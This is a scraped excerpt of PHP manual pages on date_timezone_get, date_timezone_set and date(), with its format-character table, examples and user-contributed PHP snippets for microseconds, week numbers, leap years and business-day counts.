echo $dtms011->format('B => (U) => T Y-M-d H:i:s');

?>

Example 02:

<?php

date_default_timezone_set("America/New_York");

$dftz021 = date_default_timezone_get();

echo '<br><b>' . $dftz021 . '</b><br><br>';

$dtms021 = date_create();

date_timestamp_set($dtms021, 1234567890);

echo date_format($dtms021, 'B => (U) => T Y-M-d H:i:s');

?>


Alias of DateTime::getTimezone

  • « date_timestamp_set
  • date_timezone_set »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0)

date_timezone_get — Alias of DateTime::getTimezone()

Description

This function is an alias of: DateTime::getTimezone()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::setTimezone

  • « date_timezone_get
  • date »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0)

date_timezone_set — Alias of DateTime::setTimezone()

Description

This function is an alias of: DateTime::setTimezone()

User Contributed Notes

There are no user contributed notes for this page.


Format a local time/date

  • « date_timezone_set
  • getdate »
  • PHP Manual
  • Date/Time Functions
  • Format a local time/date

date

(PHP 4, PHP 5)

date — Format a local time/date

Description

string date ( string $format [, int $timestamp = time() ] )

Returns a string formatted according to the given format string using the given integer timestamp or the current time if no timestamp is given. In other words, timestamp is optional and defaults to the value of time().

Parameters

format

The format of the outputted date string. See the formatting options below. There are also several predefined date constants that may be used instead, so for example DATE_RSS contains the format string 'D, d M Y H:i:s'.

The following characters are recognized in the format parameter string
format character | Description | Example returned values
Day --- ---
d | Day of the month, 2 digits with leading zeros | 01 to 31
D | A textual representation of a day, three letters | Mon through Sun
j | Day of the month without leading zeros | 1 to 31
l (lowercase 'L') | A full textual representation of the day of the week | Sunday through Saturday
N | ISO-8601 numeric representation of the day of the week (added in PHP 5.1.0) | 1 (for Monday) through 7 (for Sunday)
S | English ordinal suffix for the day of the month, 2 characters | st, nd, rd or th. Works well with j
w | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
z | The day of the year (starting from 0) | 0 through 365
Week --- ---
W | ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0) | Example: 42 (the 42nd week in the year)
Month --- ---
F | A full textual representation of a month, such as January or March | January through December
m | Numeric representation of a month, with leading zeros | 01 through 12
M | A short textual representation of a month, three letters | Jan through Dec
n | Numeric representation of a month, without leading zeros | 1 through 12
t | Number of days in the given month | 28 through 31
Year --- ---
L | Whether it's a leap year | 1 if it is a leap year, 0 otherwise.
o | ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. (added in PHP 5.1.0) | Examples: 1999 or 2003
Y | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
y | A two digit representation of a year | Examples: 99 or 03
Time --- ---
a | Lowercase Ante meridiem and Post meridiem | am or pm
A | Uppercase Ante meridiem and Post meridiem | AM or PM
B | Swatch Internet time | 000 through 999
g | 12-hour format of an hour without leading zeros | 1 through 12
G | 24-hour format of an hour without leading zeros | 0 through 23
h | 12-hour format of an hour with leading zeros | 01 through 12
H | 24-hour format of an hour with leading zeros | 00 through 23
i | Minutes with leading zeros | 00 to 59
s | Seconds, with leading zeros | 00 through 59
u | Microseconds (added in PHP 5.2.2). Note that date() will always generate 000000 since it takes an integer parameter, whereas DateTime::format() does support microseconds. | Example: 654321
Timezone --- ---
e | Timezone identifier (added in PHP 5.1.0) | Examples: UTC, GMT, Atlantic/Azores
I (capital i) | Whether or not the date is in daylight saving time | 1 if Daylight Saving Time, 0 otherwise.
O | Difference to Greenwich time (GMT) in hours | Example: +0200
P | Difference to Greenwich time (GMT) with colon between hours and minutes (added in PHP 5.1.3) | Example: +02:00
T | Timezone abbreviation | Examples: EST, MDT ...
Z | Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. | -43200 through 50400
Full Date/Time --- ---
c | ISO 8601 date (added in PHP 5) | 2004-02-12T15:19:21+00:00
r | » RFC 2822 formatted date | Example: Thu, 21 Dec 2000 16:01:07 +0200
U | Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) | See also time()

Unrecognized characters in the format string will be printed as-is. The Z format will always return 0 when using gmdate().

Note:

Since this function only accepts integer timestamps the u format character is only useful when using the date_format() function with user based timestamps created with date_create().

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a formatted date string. If a non-numeric value is used for timestamp, FALSE is returned and an E_WARNING level error is emitted.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 GMT to Tue, 19 Jan 2038 03:14:07 GMT. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer). However, before PHP 5.1.0 this range was limited from 01-01-1970 to 19-01-2038 on some systems (e.g. Windows).
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.
5.1.1 | There are useful constants of standard date/time formats that can be used to specify the format parameter.

Examples

Example #1 date() examples

<?php
// set the default timezone to use. Available since PHP 5.1
date_default_timezone_set('UTC');

// Prints something like: Monday
echo date("l");

// Prints something like: Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');

// Prints: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* use the constants in the format parameter */
// prints something like: Wed, 25 Sep 2013 15:28:57 -0700
echo date(DATE_RFC2822);

// prints something like: 2000-07-01T00:00:00+00:00
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

You can prevent a recognized character in the format string from being expanded by escaping it with a preceding backslash. If the character with a backslash is already a special sequence, you may need to also escape the backslash.

Example #2 Escaping characters in date()

<?php
// prints something like: Wednesday the 15th
echo date('l \t\h\e jS');
?>

It is possible to use date() and mktime() together to find dates in the future or the past.

Example #3 date() and mktime() example

<?php
$tomorrow  = mktime(0, 0, 0, date("m")  , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"),   date("Y"));
$nextyear  = mktime(0, 0, 0, date("m"),   date("d"),   date("Y")+1);
?>

Note:

This can be more reliable than simply adding or subtracting the number of seconds in a day or month to a timestamp because of daylight saving time.

Some examples of date() formatting. Note that you should escape any other characters, as any which currently have a special meaning will produce undesirable results, and other characters may be assigned meaning in future PHP versions. When escaping, be sure to use single quotes to prevent characters like \n from becoming newlines.

Example #4 date() Formatting

<?php
// Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the
// Mountain Standard Time (MST) Time Zone

$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
$today = date("m.d.y");                         // 03.10.01
$today = date("j, n, Y");                       // 10, 3, 2001
$today = date("Ymd");                           // 20010310
$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
$today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
$today = date("H:i:s");                         // 17:16:18
$today = date("Y-m-d H:i:s");                   // 2001-03-10 17:16:18 (the MySQL DATETIME format)
?>

To format dates in other languages, you should use the setlocale() and strftime() functions instead of date().

Notes

Note:

To generate a timestamp from a string representation of the date, you may be able to use strtotime(). Additionally, some databases have functions to convert their date formats into timestamps (such as MySQL's » UNIX_TIMESTAMP function).

Tip

Timestamp of the start of the request is available in $_SERVER['REQUEST_TIME'] since PHP 5.1.

See Also

  • gmdate() - Format a GMT/UTC date/time
  • idate() - Format a local time/date as integer
  • getdate() - Get date/time information
  • getlastmod() - Gets time of last page modification
  • mktime() - Get Unix timestamp for a date
  • strftime() - Format a local time/date according to locale settings
  • time() - Return current Unix timestamp
  • strtotime() - Parse about any English textual datetime description into a Unix timestamp
  • Predefined DateTime Constants

User Contributed Notes

Ryan 20-Oct-2014 11:15
That  is just too hard anyone have it easier terms for a lad who only has internet for 5 mis a day cause he has to walk his pet peanut
jock 17-Jun-2014 11:27
As of PHP 5.3.3, date('c') will produce a string like this:

2014-06-17T16:22:42+02:00

Instead date (DATE_ISO8601) will produce:

2014-06-17T16:23:36+0200

which lacks the semicolon in the timezone part. Both are ISO8601 compliant anyway, but I found that the latter has better compatibility with other languages like python.
david dot leon at gmx dot com 19-May-2014 07:44
<?php
//date returns microseconds.
function mdate($format, $microtime = null) {
        $microtime = explode(' ', ($microtime ? $microtime : microtime()));
        if (count($microtime) != 2) return false;
        $microtime[0] = $microtime[0] * 1000000;
        $format = str_replace('u', $microtime[0], $format);
        return date($format, $microtime[1]);
    }
?>

echo mdate('Y-m-d H:i:s.u');

2014-05-19 12:41:59.202303
Manu Manjunath 11-Apr-2014 08:59
If you want to use "u" format specifier for micrseconds without changing to DateTime object, you may write a function as below:
<?php
/**
 * Quick replacement to date() function to handle the 'u' format specifier (for microseconds)
 * @param string $format Date format string - the same format string you would pass to date() function
 * @param float $timestamp [optional] Unix timestamp with microseconds - Typically output of <b>microtime(true)</b>
 * @return string Formatted string
 */
function date_with_micro($format, $timestamp = null) {
    if (is_null($timestamp) || $timestamp === false) {
        $timestamp = microtime(true);
    }
    $timestamp_int = (int) floor($timestamp);
    $microseconds = (int) round(($timestamp - floor($timestamp)) * 1000000.0, 0);
    $format_with_micro = str_replace("u", $microseconds, $format);
    return date($format_with_micro, $timestamp_int);
}
?>

You can safely replace your date() function with date_with_micro().
Anonymous 10-Mar-2014 06:09
It's common for us to overthink the complexity of date/time calculations and underthink the power and flexibility of PHP's built-in functions.  Consider http://php.net/manual/en/function.date.php#108613

<?php
function get_time_string($seconds)
{
    return date('H:i:s', strtotime("2000-01-01 + $seconds SECONDS"));
}
matthew dot hotchen at worldfirst dot com 30-Jan-2014 07:25
FYI: there's a list of constants with predefined formats on the DateTime object, for example instead of outputting ISO 8601 dates with:

<?php
echo date('c');
?>

or

<?php
echo date('Y-m-d\TH:i:sO');
?>

You can use

<?php
echo date(DateTime::ISO8601);
?>

instead, which is much easier to read.
ttt_joe_08 20-Jan-2014 11:43
Just FYI, it's more appropriate to say "UTC", not "GMT". GMT was given up in 1972 and UTC is now the proper way. The reason being G stands for Greenwich, which naturally upset some people.
Jacques Marais 14-Jan-2014 04:45
If you want to print something like: ﻿Tuesday, the 14th of January, 2014

Use this:

<?php
echo date("l", strtotime("now")).', the'.date(" jS", strtotime("now")).' of'.date(" F, Y", strtotime("now"));
?>

This is because you cannot use words in the date string. If you use words in the date string it will be seen as a format character

So if you use:

<?php
echo date("l, the jS of F, Y", strtotime("now"));
?>

It will print something like: Tuesday, 3108Europe/Berlin 14th 2014f January, 2014
Anonymous 12-Dec-2013 05:21
To quickly convert date("N") to a 0 based index with Sunday being represented as 0, you can run it against modulus 7:

<?php
$first_of_month_index = date('N', strtotime('4/1/1990')) % 7;
?>
adityabhai at gmail dot com 08-Oct-2013 10:57
For Microseconds, we can get by following:

echo date('Ymd His'.substr((string)microtime(), 1, 8).' e');

Thought, it might be useful to someone !
Anonymous 31-May-2013 04:35
Was trying to compare dates when I noticed that:

<?php

var_dump(date('d.m.Y', null));//string(10) "01.01.1970"
var_dump(date('d.m.Y', ''));//bool(false)

?>

Thought it's worth mentioning. Caused some weird logs to be produced in our system since this does not evaluate to the same.
scott at keenot dot es 23-May-2013 09:28
If anyone needs a really fast function for converting a datetime string (i.e. as retrieved from a MySQL DATETIME entry) into a human-friendly time output analogous to date($format, $time), here's a useful function.

<?php
function fdate($datetimestring = '1970-01-01 00:00:00', $format = 'U') {
  // Create a datetime object, return it formatted
  // If you want to give credit for this somewhere, thanks.
  // You really don't have to though; this is kinda obvious
  $dt = new DateTime($datetimestring);
  return $dt->format($format);
}
?>

The main purpose of this is to reduce lines of code and allow inline coding. For example:
<?php
/* ... */
echo "This page was submitted on ".fdate($row['created'], 'F j, Y g:i:s A')." and last modified ".fdate($row['modified'], 'F j, Y g:i:s A')."<br />\n";
/* ... */
?>
FiraSEO 28-Feb-2013 04:23
this how you make an HTML5 <time> tag correctly

<?php

echo '<time datetime="'.date('c').'">'.date('Y - m - d').'</time>';

?>

in the "datetime" attribute you should put a machine-readable value which represent time , the best value is a full time/date with ISO 8601 ( date('c') ) ,,, the attr will be hidden from users

and it doesn't really matter what you put as a shown value to the user,, any date/time format is okay !

This is very good for SEO especially search engines like Google .
Anonymous 12-Oct-2012 06:43
To find last sunday for given date

<?php
         $day = '2012-10-04';
         echo 'last sunday :  '.date("Y-m-d",strtotime($day." last Sunday "));
?>

output:

last sunday : 2012-09-30
Chris 19-Aug-2012 01:46
Use this to convert the local/UTC hour to the UTC/local hour:

<?php
for($utc_to_local = array(), $offset = date('Z'), $h = 0; $h < 24; $utc_to_local[] = date('G', mktime($h++)+$offset));
$local_to_utc = array_flip($utc_to_local);

echo "2 am local is ", $local_to_utc[2], " UTC";
echo "3 pm UTC is ", $utc_to_local[15], " local";
?>

This is useful when you need to do many conversions. Lookup tables are faster than calling date() and mktime() multiple times.
stokestack at gmail dot com 01-Aug-2012 06:37
If you want to find your server's timezone offset from GMT, it seems as though you could just do:

date('Z')

to get the number of seconds offset. But PHP requires that you call date_default_timezone_set().  So if you have to hard-code a timezone, why not simply hard-code a variable that tells you the offset from GMT?  If you set the timezone to GMT, the dates in your database will still be in local time, but time('Z') will return zero.

To keep your code portable across servers in different timezones, you can do this:

date_default_timezone_set(date_default_timezone_get())

This keeps PHP from complaining that you haven't called date_default_timezone_set(), but makes your code portable.  Ridiculous.
webmaster1989 at gmail dot com 28-Jul-2012 07:59
Sometimes it is very useful to convert a sql timestamp to an also called NTP time. This is often used as time date notation in XML RSS pages. To convert a timestamp to this NTP notation try the following:

<?php
  echo date('D, d M Y h:i:s O', strtotime ($timestamp);
?>
Leopietroni 26-Jul-2012 06:23
This function will add working day to a given timestamp

<?php
 function addworkinday($timestamp,$daystoadd){

     $dayoftheweek = date("N",$timestamp);
     $sum =$dayoftheweek +$daystoadd;

 while ($sum >= 6) {

     $daystoadd=$daystoadd+1;
    $sum=$sum-1;
}
 return $timestamp +(60*60*24*$daystoadd);

 }
?>
lehal2 at hotmail dot com 04-Jul-2012 11:44
here is an example how you can make numeric days of the week from 1 to 7(Monday to Friday)

<?php
$currentdate  = mktime(0, 0, 0, date("m")  , date("d"), date("Y"));
     echo $day_eg1 = date ('N',$currentdate);
      echo $day_eg2 = date("N", $today+1 * 24 * 3600);
    echo $day_eg3= date("N", $today+2 * 24 * 3600);
    echo $day_eg4 = date("N", $today+3 * 24 * 3600);
    echo $day_eg5 = date("N", $today+4 * 24 * 3600);
    echo $day_eg6 = date("N", $today+5 * 24 * 3600);
    echo $day_eg7 = date("N", $today+6 * 24 * 3600);
?>
m_ocx at yahoo dot com 15-Jun-2012 01:36
Here is a cool Date class to implement the date function:

<?php
/*
 * @author    Gchats
 *
 * Date class
 */
class Date
{
    private $shortDateFormat = "F j, Y";
    private $longDateFormat = "F j, Y, g:i a";
    private $timestamp = 0;

    /**
    * Default constructor
    *
    * @param    integer        $timestamp    unix time stamp
    */
    function __construct($timestamp = 0)
    {
        $this->timestamp = $timestamp;
    }

    /**
    * Returns the given timestamp in the constructor
    *
    * @return    integer        time stamp
    */
    public function getTime()
    {
        return (int) $this->timestamp;
    }

    /*
     * Returns long formatted date of the given timestamp
     *
     * @access public
     * @return     string    Long formatted date
     */
    public function long()
    {
        if ( $this->timestamp > 0 )
        {
            return date ( $this->longDateFormat , $this->timestamp );
        }
        else
        {
            return "";
        }
    }

    /*
     * Returns short formatted date of the given timestamp
     *
     * @access public
     * @return     string    Short formatted date
     */
    public function short()
    {
        if ( $this->timestamp > 0 )
        {
            return date ( $this->shortDateFormat , $this->timestamp );
        }
        else
        {
            return "";
        }
    }

    public function __toString()
    {
        return $this->timestamp;
    }

}
?>
Tim Connolly 13-Jun-2012 11:56
Here's my solution for looking up the month number by name (used when parsing an 'ls'):

<?php
  for($m=1;$m<=12;$m++){
    $month=date("M",mktime(0,0,0,$m,1,2000));
    $mon["$month"]=$m;
  }
?>
Anon 11-May-2012 05:24
I needed to convet a duration timestamp into H:i:s but whenever I did it kept bringing 5 back as 01:00:05 (due to some DST stuff) so I made this function to replace date(). It has no optimisations but hopefully someone might find it useful:

<?php
    function get_time_string(){
        $time = 3600+(60*32)+(50); // 01:32:50
        $time_string = '';

        $hours = (int)($time/(60*60));
        if(strlen($hours) > 1){
            $time_string = $hours.':';
        }else{
            $time_string = '0'.$hours.':';
        }

        $minutes = (int)(($time%(60*60))/(60));
        if($minutes >= 1){
            if(strlen($minutes) > 1){
                $time_string .= $minutes.':';
            }else{
                $time_string .= '0'.$minutes.':';
            }

            $seconds = ($time%(60*60))%(60);
            if(strlen($seconds) > 1){
                $time_string .= $seconds;
            }else{
                $time_string .= '0'.$seconds;
            }
        }else{
            if(strlen($time) > 1){
                $time_string .= '00:'.$time;
            }else{
                $time_string .= '00:0'.$time;
            }
        }
        return $time_string;
    }
?>
nathan 03-May-2012 09:32
<?php
/* the following variables are set to appropriate
  characters recognized by php version 5 that
  will get the date. To display the date, we have
  to use 'echo' or 'print' to send the variable
  data to the browser
*/

$day=date("l");
$date=date("j");
$suffix=date("S");
$month=date("F");
$year=date("Y");
echo $day . ", " . $month . " " . $date . $suffix . ", " . $year;
?>

rudimentary, simple way to due things, but it gets the job done for someone learning more on the subject.
matt 24-Mar-2012 07:23
date() has some strange behavior at extremely high values:

<?php
echo "9223372036854775805: " . date("Y-m-d g:i:s a",  9223372036854775805) . "\n";
echo "9223372036854775806: " . date("Y-m-d g:i:s a",  9223372036854775806) . "\n";
echo "9223372036854775807: " . date("Y-m-d g:i:s a",  9223372036854775807) . " (0x7FFFFFFFFFFFFFFF)\n";
echo "9223372036854775808: " . date("Y-m-d g:i:s a",  9223372036854775808) . "\n";
echo "9223372036854775809: " . date("Y-m-d g:i:s a",  9223372036854775809) . "\n";
echo "9223372036854775810: " . date("Y-m-d g:i:s a",  9223372036854775810) . "\n";
echo "...\n";
echo "9223372036854776832: " . date("Y-m-d g:i:s a",  9223372036854776832) . "\n";
echo "9223372036854776833: " . date("Y-m-d g:i:s a",  9223372036854776833) . "\n";
echo "...\n";
echo "9223372036854778879: " . date("Y-m-d g:i:s a",  9223372036854778879) . "\n";
echo "9223372036854778880: " . date("Y-m-d g:i:s a",  9223372036854778880) . "\n";
echo "...\n";
echo "9223372036854780928: " . date("Y-m-d g:i:s a",  9223372036854780928) . "\n";
echo "9223372036854780929: " . date("Y-m-d g:i:s a",  9223372036854780929) . "\n";
echo "...\n";
echo "9223372036854782975: " . date("Y-m-d g:i:s a",  9223372036854782975) . "\n";
echo "9223372036854782976: " . date("Y-m-d g:i:s a",  9223372036854782976) . "\n";
echo "...\n";
echo "9223372036854785024: " . date("Y-m-d g:i:s a",  9223372036854785024) . "\n";
echo "9223372036854785025: " . date("Y-m-d g:i:s a",  9223372036854785025) . "\n";
echo "...\n";
echo "9223372036854787071: " . date("Y-m-d g:i:s a",  9223372036854787071) . "\n";
echo "9223372036854787072: " . date("Y-m-d g:i:s a",  9223372036854787072) . "\n";
echo "...\n";
echo "9223372036854789120: " . date("Y-m-d g:i:s a",  9223372036854789120) . "\n";
echo "9223372036854789121: " . date("Y-m-d g:i:s a",  9223372036854789121) . "\n";
echo "...\n";
echo "9223372036854791167: " . date("Y-m-d g:i:s a",  9223372036854791167) . "\n";
echo "9223372036854791168: " . date("Y-m-d g:i:s a",  9223372036854791168) . "\n";
echo "...\n";
echo "9223372036854793215: " . date("Y-m-d g:i:s a",  9223372036854793215) . "\n";
echo "9223372036854793216: " . date("Y-m-d g:i:s a",  9223372036854793216) . "\n";
echo "9223372036854793217: " . date("Y-m-d g:i:s a",  9223372036854793217) . "\n";
echo "9223372036854793218: " . date("Y-m-d g:i:s a",  9223372036854793218) . "\n";
?>

Output:

9223372036854775805: 292277026596-12-04 10:30:05 am
9223372036854775806: 292277026596-12-04 10:30:06 am
9223372036854775807: 292277026596-12-04 10:30:07 am (0x7FFFFFFFFFFFFFFF)
9223372036854775808: 292277026596-12-04 10:30:08 am
9223372036854775809: 292277026596-12-04 10:30:08 am
9223372036854775810: 292277026596-12-04 10:30:08 am
...
9223372036854778879: 292277026596-12-04 10:30:08 am
9223372036854778880: 292277026596-12-04 11:04:16 am
...
9223372036854778879: 292277026596-12-04 11:04:16 am
9223372036854778880: 292277026596-12-04 11:38:24 am
...
9223372036854780928: 292277026596-12-04 11:38:24 am
9223372036854780929: 292277026596-12-04 12:12:32 pm
...
9223372036854782975: 292277026596-12-04 12:12:32 pm
9223372036854782976: 292277026596-12-04 12:46:40 pm
...
9223372036854785024: 292277026596-12-04 12:46:40 pm
9223372036854785025: 292277026596-12-04 1:20:48 pm
...
9223372036854787071: 292277026596-12-04 1:20:48 pm
9223372036854787072: 292277026596-12-04 1:54:56 pm
...
9223372036854789120: 292277026596-12-04 1:54:56 pm
9223372036854789121: 292277026596-12-04 2:29:04 pm
...
9223372036854791167: 292277026596-12-04 2:29:04 pm
9223372036854791168: 292277026596-12-04 3:03:12 pm
...
9223372036854793215: 292277026596-12-04 3:03:12 pm
9223372036854793216: 292277026596-12-04 3:03:12 pm
9223372036854793217: -292277022657-01-27 8:37:04 am
9223372036854793218: -292277022657-01-27 8:37:04 am

---

So, the last reliable unix timecode is 9223372036854775808 (0x1000000000000000). Not that you would probably ever need a date that high.
Bas Vijfwinkel 19-Mar-2012 03:47
Note that some formatting options are different from MySQL.
For example using a 24 hour notation without leading zeros is the option '%G' in PHP but '%k' in MySQL.
When using dynamically generated date formatting string, be careful to generate the correct options for either PHP or MySQL.
bakerj417 at gmail dot com 08-Mar-2012 01:48
If you are having an issue getting u to work so is everyone else. The solution that I am using which I found on another site(so not taking credit) is to use this:

     date("Y/m/d H:i:s"). substr((string)microtime(), 1, 6);

that will give you:

     yyyy/mm/dd hh:ii:ss.uuuuuu

hope this helps someone in need!

thanks all
gerben at gerbenwijnja dot nl 22-Feb-2012 02:54
I use the function below to calculate the Unix timestamp of the start of a week. It includes a boolean flag to request a GMT offset instead of the current locale setting.

<?php

function getWeekOffsetTimestamp($year, $week, $useGmt = false) {
        if ($useGmt) {
                // Backup timezone and set to GMT
                $timezoneSettingBackup = date_default_timezone_get();
                date_default_timezone_set("GMT");
        }

        // According to ISO-8601, January 4th is always in week 1
        $halfwayTheWeek = strtotime($year."0104 +".($week - 1)." weeks");

        // Subtract days to Monday
        $dayOfTheWeek = date("N", $halfwayTheWeek);
        $daysToSubtract = $dayOfTheWeek - 1;

        // Calculate the week's timestamp
        $unixTimestamp = strtotime("-$daysToSubtract day", $halfwayTheWeek);

        if ($useGmt) {
                // Reset timezone to backup
                date_default_timezone_set($timezoneSettingBackup);
        }

        return $unixTimestamp;
}

?>
frank at interactinet dot com 16-Feb-2012 07:07
If you want to compare this week with the same week last year, here is some code to get you the time at the beginning of the week.  You can then add days, hours, etc to get to the day of the week that you want to know about.

<?php
        $time_passed = (date('N')-1)* 24 * 3600; // time since start of week in days
        $startOfWeek = mktime(0,0,0,date('m'),date('d'),date('Y')) - $time_passed;

        $lastyear = $startOfWeek - 365*24*3600;

        // make sure time used from last year is the same week of the year
        $weekdiff = date('W') - date('W',$lastyear);
        if($weekdiff != 0)
        {
            $lastyear = $lastyear + ($weekdiff*7*24*3600);
        }

        $lastyear_time_passed = (date('N',$lastyear)-1) * 24 * 3600; // time since start of week in days

        $startOfWeek_lastyear = mktime(0,0,0,date('m',$lastyear),date('d',$lastyear),date('Y',$lastyear)) - $lastyear_time_passed;
?>

So now you have the unix time for the start of this week ($startOfWeek), and the start of the same week last year ($startOfWeek_lastyear).

You can convert back to datetime format easily:

<?php
        echo date('Y-m-d H:i:s',$startOfWeek).'<br>';
        echo date('Y-m-d H:i:s',$startOfWeek_lastyear).'<br><br>';

        echo date('l F jS, Y',$startOfWeek).'<br>';
        echo date('l F jS, Y',$startOfWeek_lastyear);
?>
Jimmy 22-Dec-2011 02:04
Things to be aware of when using week numbers with years.

<?php
echo date("YW", strtotime("2011-01-07")); // gives 201101
echo date("YW", strtotime("2011-12-31")); // gives 201152
echo date("YW", strtotime("2011-01-01")); // gives 201152 too
?>

BUT

<?php
echo date("oW", strtotime("2011-01-07")); // gives 201101
echo date("oW", strtotime("2011-12-31")); // gives 201152
echo date("oW", strtotime("2011-01-01")); // gives 201052 (Year is different than previous example)
?>

Reason:
Y is year from the date
o is ISO-8601 year number
W is ISO-8601 week number of year

Conclusion:
if using 'W' for the week number use 'o' for the year.
blinov vyacheslav AT gmail.com 23-Aug-2011 04:06
It was oblivious and discouraging that it dont mentioned in docs. If you will use W to get week number be aware:
first days of year can be in a week of previous year, and week number always has leading zero

<?php

echo date("YW", strtotime("2011-01-07")); // gives 201101
echo date("YW", strtotime("2011-01-01")); // gives 201152
echo date("YW", strtotime("2011-12-31")); // gives 201152 too

?>

so you can`t rely on number of week given from this function inside your program if you want to use it for some logic
ghotinet 13-Dec-2010 07:06
Most spreadsheet programs have a rather nice little built-in function called NETWORKDAYS to calculate the number of business days (i.e. Monday-Friday, excluding holidays) between any two given dates. I couldn't find a simple way to do that in PHP, so I threw this together. It replicates the functionality of OpenOffice's NETWORKDAYS function - you give it a start date, an end date, and an array of any holidays you want skipped, and it'll tell you the number of business days (inclusive of the start and end days!) between them.

I've tested it pretty strenuously but date arithmetic is complicated and there's always the possibility I missed something, so please feel free to check my math.

The function could certainly be made much more powerful, to allow you to set different days to be ignored (e.g. "skip all Fridays and Saturdays but include Sundays") or to set up dates that should always be skipped (e.g. "skip July 4th in any year, skip the first Monday in September in any year"). But that's a project for another time.

<?php

function networkdays($s, $e, $holidays = array()) {
    // If the start and end dates are given in the wrong order, flip them.
    if ($s > $e)
        return networkdays($e, $s, $holidays);

    // Find the ISO-8601 day of the week for the two dates.
    $sd = date("N", $s);
    $ed = date("N", $e);

    // Find the number of weeks between the dates.
    $w = floor(($e - $s)/(86400*7));    # Divide the difference in the two times by seven days to get the number of weeks.
    if ($ed >= $sd) { $w--; }        # If the end date falls on the same day of the week or a later day of the week than the start date, subtract a week.

    // Calculate net working days.
    $nwd = max(6 - $sd, 0);    # If the start day is Saturday or Sunday, add zero, otherewise add six minus the weekday number.
    $nwd += min($ed, 5);    # If the end day is Saturday or Sunday, add five, otherwise add the weekday number.
    $nwd += $w * 5;        # Add five days for each week in between.

    // Iterate through the array of holidays. For each holiday between the start and end dates that isn't a Saturday or a Sunday, remove one day.
    foreach ($holidays as $h) {
        $h = strtotime($h);
        if ($h > $s && $h < $e && date("N", $h) < 6)
            $nwd--;
    }

    return $nwd;
}

$start = strtotime("1 January 2010");
$end = strtotime("13 December 2010");

// Add as many holidays as desired.
$holidays = array();
$holidays[] = "4 July 2010";            // Falls on a Sunday; doesn't affect count
$holidays[] = "6 September 2010";        // Falls on a Monday; reduces count by one

echo networkdays($start, $end, $holidays);    // Returns 246

?>

Or, if you just want to know how many work days there are in any given year, here's a quick function for that one:

<?php

function workdaysinyear($y) {
    $j1 = mktime(0,0,0,1,1,$y);
    if (date("L", $j1)) {
        if (date("N", $j1) == 6)
            return 260;
        elseif (date("N", $j1) == 5 or date("N", $j1) == 7)
            return 261;
        else
            return 262;
    }
    else {
        if (date("N", $j1) == 6 or date("N", $j1) == 7)
            return 260;
        else
            return 261;
    }
}

?>
@PeteWilliams 08-Sep-2010 01:29
If you want to use HTML5's <date> tag, the following code will generate the machine-readable value for the 'datetime' attribute:

<?php

/**
 * formats the date passed into format required by 'datetime' attribute of <date> tag
 * if no intDate supplied, uses current date.
 * @param intDate integer optional
 * @return string
 **/
function getDateTimeValue( $intDate = null ) {

    $strFormat = 'Y-m-d\TH:i:s.uP';
    $strDate = $intDate ? date( $strFormat, $intDate ) : date( $strFormat ) ;

    return $strDate;
}

echo getDateTimeValue();

?>
lb at bostontech dot net 30-Nov-2009 08:11
Not sure why this got ignored the first time, but this is an even simpler way to check leap year:

<?php
function isLeapYear($year)
    { return ((($year%4==0) && ($year%100)) || $year%400==0) ? (true):(false); }
?>
Edward Rudd 05-Oct-2009 09:13
To actually make use ot the "u" (microsecond) you need to use the DateTime object and not the date() function.

For example

<?php
$t = microtime(true);
$micro = sprintf("%06d",($t - floor($t)) * 1000000);
$d = new DateTime( date('Y-m-d H:i:s.'.$micro,$t) );

print $d->format("Y-m-d H:i:s.u");
?>
Just.Kevin 28-Jul-2009 06:52
In order to determine if a year is a leap year an earlier poster suggested simply checking to see if the year is a multiple of four:

<?php
function is_leapyear_broken($year = 2004) {
return ($year%4)==0;
}
?>

While this will work for the majority of years it will not work on years that are multiples of 100 but not multiples of 400 i.e.(2100).
A function not using php's date() function that will also account for this small anomaly in leap years:

<?php
function is_leapyear_working($year = 2004) {
    if((($year%4==0) && ($year%100!=0)) || $year%400==0) {
        return true;
    }
    return false;
}
?>

While is_leapyear_working will not return true for the few non-leap years divisible by four I couldn't tell you if this is more or less efficient than using php's date() as an even earlier poster suggested:

<?php
function is_leapyear($year = 2004) {
$is_leap = date('L', strtotime("$year-1-1"));
return $is_leap;
}
?>
eduardo at digmotor dot com dot br 21-Apr-2009 10:34
Thanks to tcasparr at gmail dot com for the great idea (at least for me) ;)
I changed the code a little to replicate the functionality of date_parse_from_format, once I don't have PHP 5.3.0 yet. This might be useful for someone. Hope you don't mind changing your code tcasparr at gmail dot com.

<?php
/*******************************************************
 * Simple function to take in a date format and return array of associated
 * formats for each date element
 *
 * @return array
 * @param string $strFormat
 *
 * Example: Y/m/d g:i:s becomes
 * Array
